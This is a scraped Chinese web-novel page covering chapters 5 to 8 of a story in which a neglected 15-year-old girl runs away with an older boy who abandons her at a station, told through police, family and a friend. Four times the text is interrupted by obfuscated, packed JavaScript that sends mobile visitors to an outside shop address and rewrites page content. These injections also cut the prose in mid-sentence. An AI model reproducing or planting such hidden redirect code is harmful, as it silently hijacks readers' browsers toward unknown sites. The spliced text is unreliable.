;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347223|199532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似的。 “昨天是不是发生什么事了?” “没有。” “有人跟我说,看见你在厕所里,跟几个女生在一块儿。” 林小满心里咯噔一下。谁说的?谁看见了? “什么事都没有,就是聊了几句。” 班主任沉默了几秒,从抽屉里拿出一个本子,翻开,又合上。 “林小满,老师知道你是个好孩子。成绩不差,平时也不惹事。但是最近你的状态不太对,上课走神,作业也马虎,昨天还有人看见你放学往学校后面那条巷子走。” 林小满低着头,没说话。 “那条巷子不是什么好地方。去那儿的,不是抽烟的就是谈恋爱的。老师不希望你在那儿。” “知道了。” 班主任又看了她一会儿,叹了口气。 “那两百块钱够花吗?” “够。” “不够跟老师说。” “嗯。” 从办公室出来的时候,天已经有点阴了。云压得很低,像是要下雨的样子。 她站在走廊里,看着那些云,看了一会儿。 手机震了。 她掏出来看,是周深发的消息:晚上老地方见,我有话跟你说。 她盯着那几个字,盯了很久。 然后她把手机收起来,走进教室。 放学的时候,天真的下雨了。不大,就是那种蒙蒙的细雨,落在脸上凉凉的。 她走到校门口,没看见周深。 她站在那儿等了一会儿,雨越下越大,把她头发都淋湿了。她还是没看见他。 她掏出手机想给他发消息,发现有一条未读。点开,是周深发的,十分钟前: “宋婷婷他们堵我了,晚点来。” 她站在雨里,看着那几个字。 然后她关掉手机,往巷子方向走去。 她不知道去了能干什么。但她必须去。 雨越下越大,把她的校服淋透了,贴在身上凉飕飕的。她跑起来,跑得很快,水花溅起来,打在小腿上。 跑到巷子口的时候,她停下来。 巷子里没有人。第三根电线杆底下也没有人。只有那只野猫,蹲在垃圾桶旁边,看着她。 她喘着气,站在雨里,浑身湿透。 手机又震了。 她掏出来看,是周深发的一条语音。她点开,把手机贴到耳边。 那边很吵,有骂人的声音,有笑的声 音,还有人在喊“拍下来拍下来”。 然后她听见周深的声音,很喘,像是在跑:“快走,别过来——” 语音断了。 她站在雨里,盯着手机屏幕。 雨把屏幕打湿了,字都看不清。 她不知道自己在雨里站了多久。只知道后来雨小了,停了,天也黑了。 周深一直没来。 她也没再发消息。 6. 命运循环05 周深是第三天出现的。 那天下午下雨,林小满趴在教室窗台上看雨,看得很认真。林雨在旁边问她作业写完了没,她没听见。 她其实是在等人。 手机放在口袋里,隔一会儿掏出来看一眼。没有消息。再看一眼,还是没有。 她想给他发消息,打了几个字又删掉,删掉又打几个字。最后什么都没发。 她不知道他怎么样了。那天那条语音之后,他像消失了一样。 下午第三节课,有人从后面戳她背。她回头,后桌递过来一张纸条,揉得皱皱的,一看就是匆忙写的。 展开,就四个字:老地方,现在。 她认得那个字迹。 林小满把纸条攥在手心里,攥了很久,攥到手掌都出汗了。然后她举起手:“老师,我不舒服,去下厕所。” 她没去厕所。她从后门溜出去,穿过操场,翻过那个周深翻过的墙头,落在地上的时候崴了一下脚,但她顾不上疼。 他站在第三根电线杆底下。 脸上有伤。嘴角破了,结着暗红色的痂。眼眶青了一块,肿得老高。他看见她来,扯着嘴角笑了一下,笑得很丑。 “你脸怎么了?” “没事。” “谁打的?” “你别管。” 她站在他面前,看着他脸上的伤。她不知道自己应该说什么。她想问他这几天去哪了,想问他疼不疼,想问他为什么那天让她走。 但她什么都没问。 周深伸手,把她拉进怀里。抱得很紧,紧到她有点喘不过气。他身上有股烟味,还有一股她不认识的味道,可能是药,可能是别的。 “我以为你出事了。”她说。 “没事,我能有什么事。” 她没说话,把脸埋在他胸口。他的心跳咚咚咚的,很快,像刚跑完步。 “林小满。” “嗯?” “我对不起你。” 她抬起头看他。 “我不该骗你。女朋友的事,还有别的事,都不该骗你。”他看着她的眼睛,眼眶有点红,“但我真心的。你信我。” 她看着他脸上的伤,看着他青肿的眼眶,看着他破了的嘴角。她不知道自己该不该信。 但她点了头。 周深又笑了,这回笑得好看了点。 “走吧,带你去个地方。” “去哪?” “去了就知道了。” 他牵着她的手往前走,走得很急,像怕她反悔似的。 他带她去了那间出租屋。 门推开的时候,林小满愣了一下。房间里收拾过了,地上没有烟头,桌子上没有泡面碗。床上铺着干净的床单,窗帘拉开一半,光透进来,照得屋里亮堂堂的。 桌上还摆着肯德基的袋子,汉堡、鸡翅、蛋挞、奶茶,满满一桌。 “这是……” “给你买的。”周深把她按在床边坐下,“吃吧,趁热。” 她看着那一桌吃的,喉咙有点堵。 “你哪来这么多钱?” “你别管,吃就行了。” 她拿起一个蛋挞,咬了一口,甜的,酥的,热乎乎的。她低着头吃,吃得很慢,怕吃太快就没了。 周深坐在旁边看着她,不说话。 她吃完一个蛋挞,又拿起一个汉堡。吃到一半的时候,她抬起头,发现他在看她。 “你怎么不吃?” “我不饿,你吃。” 她又低下头,继续吃。吃着吃着,眼眶热了。她不知道是因为蛋挞太甜,还是因为别的什么。 外面又下雨了。雨打在窗玻璃上,噼里啪啦的。屋里很安静,只有她吃东西的声音,和雨声。 “林小满。” “嗯?” “跟我走吧。” 她愣住了,手里的汉堡停在嘴边。 “去哪?” “外地。我有个朋友在厂里上班,包吃住,一个月四五千。咱俩一起去,能攒不少钱。” “我不上学了?” “上学有什么好?你上了学能干嘛?考高中,考大学,出来不还是打工?不如早点儿去挣钱。” 她盯着手里的汉堡,没说话。 “你在这儿有什么好的?你爸妈不管你,你爷爷奶奶顾不上你,学校里还有人欺负你。你图什么?” 她还是没说话。 “跟我走,我养你。我保证。” 雨还在下。窗玻璃上的水一道道往下流,流得很快。 她想起奶奶昨天晚上跟她说的话:“你要好好学习,将来考个好大学,找个好工作,别像你爸妈似的,一辈子打工。” 她又想起宋婷婷的脸,想起厕所里那个巴掌,想起那个对着她的镜头。 她还想起周深那张青肿的脸,想起他说的“我保证”。 她不知道自己想了多久。 等她回过神来的时候,她听见自己说了一个字: “好。” 周深笑了。他凑过来,在她额头上亲了一下。她闭上眼睛,闻到那股烟味,还有别的一股什么味。 那天晚上她没回去。 她给林雨发了条消息:帮我把书包带回去,就说我去你那儿了。 林雨回:你又逃课? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347224|199532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她没回。 她把手机调成静音,扔在一边。 窗外的雨下了一夜。 第二天早上,周深跟她说,他已经买好了车票,下午就走。 “这么快?” “越快越好,省得你反悔。” 她没说话。 中午的时候,她给奶奶打了个电话。 “奶,我去林雨家住两天,她爸妈不在家,让我陪她。” “哦,行,那你注意安全。” “嗯。” 她挂掉电话,站在路边,看着来来往往的车。手机又震了,是林雨的消息:你昨晚到底去哪了? 她没回。 她把手机揣进口袋,往车站走去。 周深在车站门口等她,手里拎着两个塑料袋,是他们的行李。其实也没什么行李,就是几件换洗衣服,还有那袋没吃完的肯德基。 “走吧。” 她跟着他走进车站。 候车室里很多人,有人在大声说话,有人在吃泡面,有小孩在哭。她找了个位置坐下,看着大屏幕上的车次信息。 还有半小时。 手机又震了。她掏出来看,这回是林雨的电话。她按掉。 又打。又按掉。 消息弹出来:你他妈到底在哪?班主任找你了!你奶奶也打电话了! 她盯着那行字,盯了几秒。 周深凑过来:“谁啊?” “没事。” 她把手机关机,塞进口袋最深处。 广播响了:开往XX的列车开始检票。 她站起来,跟着周深往检票口走。人群挤挤攘攘的,把她推来推去。周深牵着她的手,牵得很紧。 检票,进站,上车。 她找到自己的座位,靠窗的。坐下来的时候,她往外看了一眼。 站台上人来人往,有人在告别,有人在奔跑,有人在哭。 她不知道自己在看什么。 火车开动了。窗外的站台慢慢往后移,越来越快,最后变成一个模糊的影子。 周深在旁边睡着了,头靠着窗户,呼吸很沉。她看着他的侧脸,看他嘴角还没好全的伤,看他闭着的眼睛。 她不知道自己做的对不对。 但她没有回头路了。 与此同时,学校里。 林雨盯着手机屏幕,一遍遍拨那个号码。 关机。还是关机。 她站起来,往办公室跑。跑到门口又停下来,喘着气。 她不知道该怎么跟班主任说。 她不知道该怎么跟林小满的奶奶说。 她只知道,林小满不见了。 7. 命运循环06 林雨在办公室门口站了整整十秒。 她不知道自己该怎么说。说林小满不见了?说她可能跟那个男的走了?说她昨晚根本没来自己家? 她深呼吸,敲门。 “进来。” 班主任正在批作业,抬头看见是她,愣了一下:“林雨?怎么了?” “老师,林小满……不见了。” 班主任手里的红笔停下来。 “什么叫不见了?” “她昨晚没回家,她给我发消息说去我那儿住,但她根本没来。我今天打她电话,一直关机,打了几十个,都是关机。” 班主任站起来,脸色变了。 “你等一下。” 她拿起手机,拨了个号码。响了很久,没人接。再拨,还是没人接。 “她奶奶的电话,没人接。”班主任放下手机,看着林雨,“你知道她去哪了吗?知道跟谁在一起吗?” 林雨低下头,不说话。 “林雨。” 她还是不说话。 班主任绕到桌子前面,站在她面前,声音放轻了:“你要是知道什么,现在必须说。这不是小事,她一个十五岁的小孩,一夜没回家,电话打不通,你知道这意味着什么吗?” 林雨抬起头,眼眶红了。 “她……她跟一个男的。叫周深,十七岁,没上学了,在校外混的。” “你怎么不早说?” “她不让说。她说说了就没朋友做了。” 班主任深吸一口气,拿起手机又拨了个号码。这回接通了。 “喂,林小满奶奶吗?我是她班主任。您别急,听我说,小满昨晚是不是没回家?……对,她也没去同学家。您能来学校一趟吗?我们得商量一下怎么办。” 挂掉电话,班主任看着林雨:“你在这儿等着,哪儿也别去。” 林雨点点头。 二十分钟后,林小满的爷爷奶奶到了。 奶奶腿脚不好,走得很慢,爷爷扶着她。两个人脸上都是汗,眼神慌慌张张的,一进办公室就问:“老师,小满呢?小满在哪?” “奶奶您先坐,别急。” “怎么能不急?一晚上没回来,电话打不通,我打了二十多个,二十多个啊!”奶奶的声音抖得厉害,“她从来不会这样的,从来不会的……” 爷爷在旁边站着,不说话,手一直在抖。 林雨看着他们,突然觉得胸口堵得慌。她想起林小满说过的话:“他们给我买汉堡,买奶茶,买包子。他问我饿不饿,他给我倒水喝。你知道我爸妈上次问我饿不饿是什么时候吗?我不记得了。” 她现在想说,你爷爷奶奶也问你饿不饿的,你知不知道? 但她没说。 “奶奶,您先别急,我们把情况捋一捋。”班主任把手机拿出来,“您最后一次联系她是什么时候?” “昨天中午,她打电话说要去同学家住,说林雨,就是她——”奶奶指着林雨,“说她爸妈不在家,让她去陪陪。我就说行,你注意安全。” 班主任看向林雨。 林雨摇头:“她没来。她昨天下午给我发消息,让我帮她带书包,说去我那儿住。我就以为她真的会来,晚上还等她吃饭,等到八点多打电话,就关机了。” “那她昨天白天在学校吗?” “在的,下午还在。第三节课后就不见了,我以为她又……又去找那个男的了。” “哪个男的?”奶奶问。 林雨不说话。 “哪个男的?”奶奶又问了一遍,声音变了。 班主任看了林雨一眼,替她说了:“奶奶,小满最近在跟一个校外的男生谈恋爱。十七岁,没上学了。我们怀疑她可能跟那个男生在一起。” 奶奶愣住了。 爷爷也愣住了。 “谈……谈恋爱?”奶奶的声音发飘,“她才十五岁,谈什么恋爱?” “奶奶,现在不是追究这个的时候,关键是找到人。”班主任拿起手机,“我建议报警。” “报警?”奶奶慌了,“报什么警?她可能就是贪玩,过会儿就回来了……” “奶奶,她昨晚一夜没回来,电话关机,跟一个社会上的男生在一起。这种情况,必须报警。” 奶奶张了张嘴,说不出话。 爷爷开口了,声音沙哑的:“报吧。” 奶奶看着他。 “报吧。”爷爷又说了一遍,“找回来要紧。” 班主任拨了110。 等警察的时候,办公室里很安静。奶奶坐在椅子上,手攥着衣角,攥得发白。爷爷站在窗边,看着外面,一动不动。林雨缩在角落里,不敢看任何人。 班主任在翻林小满的档案,其实也没什么好翻的,就是些基本信息。父母在外地打工,常年不回家,联系电话那一栏是空的。 她想起那天给林小满助学金的时候,那孩子看她的眼神。 她说不出那是什么眼神。感激?不相信?还是别的什么? 警察来得很快,两个,一男一女。问情况,做笔录。 奶奶把手机掏出来,翻出通话记录:“你看,我打了二十三个,都是关机,关机……” 女警接过手机看了一眼,还给奶奶:“最后一次联系是什么时候?说了什么?” “昨天中午,她说要去同学家住,就是那个林雨——” 林雨又被指了一遍。她低着头,恨不得把自己缩进墙缝里。 “你知道那个男生叫什么吗?住哪?” “叫周深。”林雨小声说,“住学校后面那片自建房,哪一栋我不知道。” “有他照片吗?” 林雨摇头。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347225|199532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 女警在本子上记了几笔,又问:“他们两个在一起多久了?” “一个多月吧……我不太清楚。” “你见过那个男生吗?” “见过几次,在校门口等过她。” “长什么样?有什么特征?” 林雨努力回忆:“挺高的,头发有点长,经常穿黑衣服……脸上好像有伤,昨天看见他的时候嘴角破了。” 奶奶听到这儿,眼泪一下就下来了。 “破相了?他打她了?” “不是不是,”林雨赶紧摆手,“不是他打的,是别人打的,具体的我也不知道……” 奶奶不听,只是哭。爷爷走过去,把手搭在她肩上,还是不说话。 女警又问了些问题,记完了,合上本子。 “我们会查的。你们也继续打电话,发消息,如果有消息第一时间联系我们。” 班主任送警察出去,回来的时候,奶奶还在哭。 “奶奶,您先回去休息吧,有消息我们会通知您的。” “我不回去,”奶奶抹着眼泪,“我就在这儿等。” “您在这儿等也没用,回去等电话一样。” “不一样。” 班主任张了张嘴,不知道说什么。 林雨站起来,走到奶奶面前,鞠了一躬。 “奶奶,对不起。” 奶奶抬头看她。 “我应该早点说的。她跟那个男的在一起的事,我应该早点告诉老师的。要是我早点说,就不会……” 她说不下去了。 奶奶看了她一会儿,伸手拍拍她的手背。 “不怪你。” 就这三个字。 林雨眼泪也下来了。 办公室里又安静下来。窗外的天快黑了,路灯还没亮,屋里灰蒙蒙的。 爷爷开口了,还是那种沙哑的声音:“她爸妈那边……要通知吗?” 奶奶愣了一下,没说话。 班主任说:“我建议通知一下。毕竟是父母。” 奶奶沉默了很久,最后点点头。 “那就……通知吧。” 她掏出那个老旧的老人机,翻了好久才翻到号码。手指停在屏幕上,迟迟没有按下去。 林雨看着她那只手,青筋凸起,皮肤皱巴巴的,指甲剪得很短,上面还有洗不掉的泥。 那是种菜种的。 那是洗衣洗的。 那是给林小满做饭做的。 电话拨通了。 “喂,小满爸爸,是我,你妈。” 那头不知道说了什么。 “小满不见了,一夜没回来,跟一个男的跑了。” 那头沉默了几秒,然后传来一个声音,隔着电话,林雨听不清说的什么。 只看见奶奶的手,抖了一下。 8. 命运循环07 派出所的调解室里灯光惨白,照得每个人脸上都像蒙了一层灰。 林雨坐在长椅角落,双手绞在一起,指甲把手背掐出一道道红印。她旁边是班主任,正在看手机,隔一会儿刷新一次,没有任何消息。对面椅子上,奶奶佝偻着背,手里攥着那条老式手绢,已经攥成一团。爷爷站在窗边,看着外面黑透的天,一动不动。 女警姓周,三十来岁,说话声音不高但很清楚。她拿着本子坐在办公桌后面,看向爷爷奶奶。 “叔叔阿姨,有些话我得跟你们说一下。” 奶奶抬起头,眼眶还是红的。 “什么话?” “关于那个男孩——周深,十七岁,已经满了十六周岁,是完全刑事责任人了。”周警官把本子放在膝盖上,“如果小满是自愿跟他走的,这事儿在法律上不太好处理。但如果是被强迫的,或者被欺骗的,那就另说了。” “自愿?”奶奶声音尖起来,“她才十五岁,懂什么自愿不自愿?” “阿姨您别急,我知道您心疼孩子。”周警官语气放缓了,“十五岁确实还是未成年人,法律上有特殊保护。根据《未成年人保护法》,任何组织或者个人不得诱骗、胁迫未成年人离家出走。如果那个男孩存在诱骗行为,比如用欺骗手段让小满跟他走,那他是要负法律责任的。” 班主任在旁边插了一句:“那个男孩没上学,在社会上混,这种情况……” “这种情况更需要注意。”周警官点头,“如果他有前科,或者有过类似行为,我们会重点查。但前提是,得先找到人。” 奶奶又开始抹眼泪。 爷爷终于从窗边转过身,声音沙哑:“警察同志,那我们现在能做什么?” “继续打电话,发消息。同时我们这边已经在调监控了,看看他们往哪个方向走的。”周警官顿了顿,“还有一件事,我想了解一下小满在家的情况。” 奶奶愣了一下:“在家?在家挺好的啊。” “平时跟你们沟通多吗?有没有说过不想上学之类的话?” 奶奶张了张嘴,没说出话来。 爷爷替她说了:“不怎么说话。放学回来就进自己屋,吃饭叫她才出来。问她学校怎么样,就说还行。问她缺啥不,就说不缺。” “那她跟那个男孩的事儿,你们一点不知道?” “不知道。”奶奶声音低下去,“真不知道。她每天按时上学按时放学,我以为……我以为好好的。” 林雨在旁边听着,胸口堵得慌。 她想说,你们当然不知道。你们只知道给她买手机买平板,却不知道她一天只吃一顿饭。你们只知道让她好好学习,却不知道她在学校被人堵在厕所里扇巴掌。你们什么都不知道。 但她没说。 周警官又问了些问题,爷爷奶奶一一答了。问着问着,奶奶突然想起来什么。 “对了警察同志,那个男孩……他要是把小满怎么着了,能判刑不?” 周警官沉默了一下。 “阿姨,这个要看具体情况。如果小满不满十四周岁,不管她愿不愿意,发生关系都算□□。但小满十五了,如果她是自愿的,那个男孩就不构成□□罪。” “那……那就这么算了?” “不是算了。如果查实他有诱骗、胁迫行为,或者有其它违法犯罪事实,我们可以依法处理。另外,你们可以起诉他民事赔偿。” 奶奶听得似懂非懂,只知道点头。 林雨听懂了。 她想起林小满说过的话:“他给我买汉堡,买奶茶,买包子。” 就这些。就为了这些。 她突然很想哭。 调解室安静下来,只有墙上的钟在走,滴答滴答。 班主任看了下表,快九点了。从下午到现在,五六个小时过去,一点消息都没有。 “周警官,监控查到了吗?” “正在调,学校周边和车站的监控比较多,需要时间。” 话音刚落,周警官的手机响了。她接起来,听了几句,脸色变了变。 “好,知道了。” 挂掉电话,她看向所有人:“车站监控拍到了。下午两点多,两个人进站,四点二十的火车,开往邻省。” 奶奶腾地站起来:“邻省?跑那么远?” “火车已经到站了,那边的警方正在协助查。但是……”周警官顿了顿,“车站人流太大,不一定能马上找到。” 奶奶腿一软,又坐回椅子上。 林雨脑子里嗡嗡的。邻省,火车,四点二十。那时候她还在给林小满打电话,打了一个又一个,全是关机。她可能就在火车上,看着手机屏幕亮起来又暗下去,暗下去又亮起来,就是不接。 她那时候在想什么? 她知不知道有人在找她? 她知不知道奶奶打了二十多个电话? 调解室的门被推开了,另一个警察探头进来:“周姐,有人找。” 周警官站起来,走到门口,跟那人说了几句话。然后她回过头,表情有点复杂。 “小满回来了。” 所有人都愣住了。 “什么?”奶奶第一个反应过来,“在哪?” “在学校门口。她自己走回来的。门卫认出她了,给所里打了电话。我们已经让人去接了,马上到。” 林雨不知道该哭还是该笑。她只是愣愣地站着,脑子里一片空白。 十分钟后,门开了。 林小满站在门口。 她穿着昨天那身校服,皱巴巴的,上面还有不明所以的污渍。头发乱糟糟的,扎头发的橡皮筋快掉下来了,她也没管。脸上没什么表情,眼睛底下青黑一片,像一夜没睡。 她就那么站在门口,不进来。 奶奶冲过去,一把抱住她。 “你跑哪去了?你跑哪去了啊!”奶奶的声音又尖又抖,眼泪糊了一脸,“我打你电话打了几十个,你知不知道?你知不知道!” 林小满被她抱着,一动不动,也不说话。 爷爷站在旁边,手抬起来想摸摸她的头,又放下了。 班主任走过去,看着她:“小满,先进来坐下说。” 林小满被奶奶拉着进了调解室,按在椅子上。周警官把门关上,屋里一下子挤满了人。 奶奶不撒手,一直攥着她的胳膊,像怕她再跑了似的。 “说话呀!”奶奶急了,“你到底去哪了?跟谁去的?那个男的呢?” 林小满低着头,不看她。 “你倒是说话!” “奶奶你别问了。”林小满开口了,声音哑得像砂纸磨过。 “不问?我能不问?你一晚上不回来,电话关机,跟个男的跑外地去,我能不问?” 林小满还是低着头。 林雨在旁边看着,突然开口:“林小满,你知道我打了多少电话吗?三十多个!你一个都没接!” 林小满抬起头看了她一眼,又低下去了。 周警官走过来,在她对面坐下,声音放轻了:“小满,你别怕。我们就是想了解一下情况。那个男生呢?他没跟你一起回来?” “没有。” “他人在哪?” “不知道。到站就走了。” “走了?什么意思?” 林小满不说话。 周警官等了一会儿,换了个问法:“你们去那边干什么?” “……他说有朋友在那边,包吃住,能挣钱。” “那你去了,见到他朋友了吗?” “没有。” “那这两天你们在哪?” 林小满又不说话了。 奶奶在旁边急得不行:“你倒是说啊!” “阿姨您别急,我来问。”周警官看着林小满,“小满,你要是不想说,可以不说。但是有些事情我们必须弄清楚,才能知道那个男生有没有对你做什么。你明白吗?” 林小满沉默了很久,才开口:“在车站待了一夜。他说他朋友有事,明天再来。等了一天,没人来。今天下午他说去买吃的,走了就没回来。我等到天黑,手机没电了,就……就回来了。” 她说得很平,像在说别人的事。 屋里安静了几秒。 林雨脑子里突然闪过一个画面:林小满一个人在火车站,蹲在角落里,等啊等,等到天黑,等到手机没电,等到那个人再也没回来。 她喉咙发紧。 奶奶的手松开了,愣愣地看着她:“他就这么把你扔了?” 林小满没说话。 “他把你骗去,然后就把你扔了?” 还是没说话。 奶奶的眼泪又下来了,这回跟刚才不一样。刚才那是着急,这是心疼。 爷爷终于开口了,声音很沉:“那你这俩天吃了没?” 林小满愣了一下,然后轻轻摇了摇头。 奶奶一听,转身就要往外走:“我去买吃的,门口有家拉面馆——” “奶奶你别去了。”林小满叫住她。 奶奶回头。 林小满低着头,声音小小的:“我不想吃。” 奶奶站在那儿,不知道该进该退。 周警官在旁边看着,叹了口气,把本子合上。 “小满,有些话我得跟你说清楚。那个男生——周深,他把你骗到外地,然后把你一个人扔在车站,这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347226|199532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行为已经涉嫌违法了。虽然你自愿跟他去的,但他作为成年人,对未成年人有照顾义务,他这么做是遗弃。” 林小满抬起头,看着她。 “还有,如果他跟你发生了关系——” “没有。” 周警官愣了一下。 “没有。”林小满又说了一遍,声音很轻,“他说等到了那边再说。” 屋里又安静了几秒。 林雨突然站起来,走到林小满面前,蹲下来看着她。 “你傻不傻?” 林小满看着她。 “他骗你的,他根本就没想带你挣钱。他就是想把你骗出去,玩够了就扔。你知不知道?” 林小满没说话。 “你为了他,学也不上了,家也不要了,电话也不接。你知道我们有多急吗?你知道你奶奶打了多少个电话吗?二十三个!我打了三十多个!你一个都不接!” 林小满的眼眶红了。 “他给你买几个汉堡你就跟他走?那以后谁给你买汉堡你是不是跟谁走?”林雨说着说着自己先哭了,“你他妈傻不傻啊!” 林小满的眼泪掉下来,一颗一颗,砸在手背上。 奶奶走过来,把林雨拉开,自己蹲下去,用那条皱巴巴的手绢给林小满擦眼泪。 “别哭了,回来就好,回来就好……” 林小满看着她奶奶。看着她满是皱纹的脸,看着她花白的头发,看着她那双洗衣服种菜磨出老茧的手。 她突然想起很小的时候,奶奶也是这么蹲着给她擦眼泪。那时候她摔了一跤,膝盖磕破了,哭得撕心裂肺。奶奶一边擦眼泪一边说“不哭不哭,奶奶在呢”。 好久好久以前的事了。 “奶。”她开口。 “嗯?” “我错了。” 奶奶的手顿了一下,然后继续给她擦眼泪,没说话。 爷爷在旁边站着,看着这祖孙俩,眼眶也有点红。 班主任叹了口气,走到周警官旁边,小声说了几句话。周警官点点头,站起来。 “这样吧,今天太晚了,先带小满回去休息。明天我们再去学校详细了解情况。那个男生的事,我们会继续查,有消息通知你们。” 奶奶扶着林小满站起来。 走到门口的时候,林小满突然回过头,看着林雨。 “林雨。” 林雨没理她。 “林雨。” 林雨还是没理。 林小满走过去,站在她面前。 “对不起。” 林雨抬头看她,眼眶红红的。 “你别跟我说对不起。你跟奶奶说去。” 林小满低下头,然后又被奶奶拉走了。 林雨站在原地,看着她们的背影消失在门外。 调解室一下子空了下来。班主任在跟周警官说话,她听不清说什么。墙上的钟还在滴答滴答,跟刚才一样。 她想起林小满刚才说的话:“他给我买汉堡,买奶茶,买包子。” 就这些。 就为了这些。 她往外走,走到门口的时候,周警官叫住她。 “那个,林雨是吧?” 她回头。 周警官走过来,看着她:“今天谢谢你,要不是你提供那些情况,我们不会这么快找到线索。” 林雨摇摇头。 “那个男生的事,”周警官顿了顿,“你知道他叫什么,长什么样,以后如果再看见他,或者有什么消息,第一时间联系我们。” 林雨点点头。 走出派出所的时候,外面已经没什么人了。路灯黄黄的,照在地上,照出她自己的影子。 她掏出手机,看着那几十个已拨电话,全是林小满的号码。 她盯着那些数字,盯了很久。 然后她把手机收起来,往家走。 走到半路,手机震了一下。她掏出来看,是林小满发的消息: “今天谢谢你。真的。” 她看着那行字,看了好几秒。 然后她回了一个字: “滚。” 发完她自己也笑了,笑着笑着又想哭。 她不知道明天会怎样。不知道林小满还会不会去上学,不知道那个男生会不会再出现,不知道这件事最后会怎么收场。 她只知道,今天晚上,林小满回家了。 这就够了。 手机又震了一下,还是林小满: “明天学校见。” 林雨盯着那五个字,盯了很久。 然后她把手机收起来,继续往家走。 路灯把她的影子拉得很长。 9. 命运循环08 林小满回到家的时候已经快十一点了。 奶奶一路没说话,只是攥着她的手,攥得紧紧的,像一松开她就会再跑掉似的。爷爷走在后面,脚步很慢,时不时咳嗽一声。 巷子里的路灯坏了一盏,剩下的那盏黄黄的,照出一小片光。她们从那片光里穿过去,又走进黑暗里,再走进另一片光里。 林小满不知道自己走了多少遍这条路。以前放学走,上学走,去买东西走。她从来没觉得这条路有什么特别的。 今天晚上觉得特别长。 到家门口,奶奶掏出钥匙开门,手抖得厉害,捅了好几下才捅进去。门开了,屋里黑漆漆的,有一股老房子的味道,说不清是霉味还是油烟味。 奶奶开了灯。 那盏灯也是老旧的,亮起来的时候嗡嗡响两声,光线黄黄的,照得屋里更旧了。 “饿不饿?”奶奶问。 林小满摇头。 “我给你下碗面。” “奶奶,我不饿。” 奶奶不听,径直走进厨房,打开煤气灶。火苗蹿起来的声音,水倒进锅里的声音,打火机咔哒咔哒的声音。林小满站在堂屋里,听着那些声音,不知道该干什么。 爷爷坐进他的老藤椅里,打开收音机。收音机里在放戏曲,咿咿呀呀的,听不清唱的什么。他把声音调得很小,小到几乎听不见,就那么放着。 林小满知道,他是在陪着她。 她走进自己那屋,把门关上。 房间跟她走的时候一模一样。床上被子没叠,乱糟糟堆着。桌上摊着没写完的作业,笔还搁在旁边,笔帽不知道滚哪去了。窗帘拉开一半,窗外的路灯透进来一点光,在地上画出一个模糊的方块。 她坐在床边,掏出手机。 手机是在派出所充的电,只有百分之三十。她划开屏幕,微信图标上有个红点,点进去,是周深发来的消息。 第一条,两个小时前:到哪了? 第二条,一个半小时前:你怎么走了? 第三条,一个小时前:回话啊。 第四条,半小时前:林小满? 她盯着那些消息,盯了很久。 手指悬在屏幕上方,不知道该回什么。 她想起今天下午在火车站,她坐在候车室的椅子上,从中午等到下午,从下午等到天黑。他说去买吃的,她等了两个小时,三个小时,四个小时。手机没电了,她也不敢离开那个位置,怕他回来找不到她。 等到最后一遍广播说今天的车次全部结束,等到候车室的人越来越少,等到保洁阿姨过来问她小姑娘你怎么还不走,她才终于明白—— 他不会回来了。 她不知道自己是怎么回来的。只记得上了火车,坐了一夜,旁边的人问她话她也不说。天亮的时候到站,她跟着人流走出来,站在站前广场上,站了很久。 然后她就开始走。走啊走,走啊走,走到脚疼了,走到天又黑了,走到学校门口。 她不知道自己是怎么走回来的。好像腿会自动往前走,不用她管。 手机震了一下。 周深又发了一条:我知道你在看。回话。 她打字:我回来了。 那边秒回:你他妈怎么回去了? “我等了一天,你没回来”。 那边沉默了几秒:我……那边出了点事,朋友临时来不了,我去找地方住,回来你就没了。 她盯着这行字,不知道该信不信。 她想起林雨说的话:他骗你的,他根本就没想带你挣钱。 她又想起周深说过的话:我养你,我保证。 她不知道哪句是真的。 手机又震了:你家里找你了? “嗯,我奶奶打了二十多个电话”。 那边又沉默了几秒 “那你……还来不”? 她愣了一下,没回。 “我不是让你现在来。我是说以后。你要是学校待不下去,随时联系我”。 她看着这行字,眼眶突然有点热。 “你还会等我吗”? “等”。 就这一个字。 她把手机贴在胸口,坐了很久。 